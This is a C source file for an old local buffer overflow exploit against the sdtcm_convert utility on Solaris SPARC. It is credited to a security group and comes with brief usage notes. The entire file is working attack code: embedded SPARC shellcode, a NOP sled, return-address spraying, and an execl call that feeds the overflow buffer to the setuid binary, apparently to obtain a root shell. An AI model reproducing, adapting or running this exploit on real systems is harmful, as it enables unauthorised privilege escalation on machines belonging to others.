/*=============================================================================
   sdtcm_convert Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)

   [usage]
        % gcc ex_sdtcm_convert.c (This example program)
        % a.out
        If no response, hit ctrl+c
        #
  =============================================================================
*/

#define   ADJUST    2
#define    OFFSET1    4000
#define    LENGTH1    260
#define    OFFSET2    6000
#define    LENGTH2    1000
#define    OFFSET3    6000+16*30

#define NOP 0xa61cc013

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

unsigned long ret_adr;
int i;

main()
{
  static char x[11000];

  memset(x,'a',10000);
  ret_adr=get_sp()-6300;
    for (i = 0; i < 5000 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
  ret_adr=get_sp() - 10200;
  if ((ret_adr & 0xff )==0) ret_adr+=4;
  printf("%lx\n",ret_adr);
    for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    for (i = OFFSET2+ADJUST; i < OFFSET2+LENGTH2 ; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
  for (i=0;i<strlen(exploit_code);i++) x[OFFSET3+ADJUST+i]=exploit_code[i];
  x[10000]=0;
  execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert", "-d",x,"test",(char *) 0);
}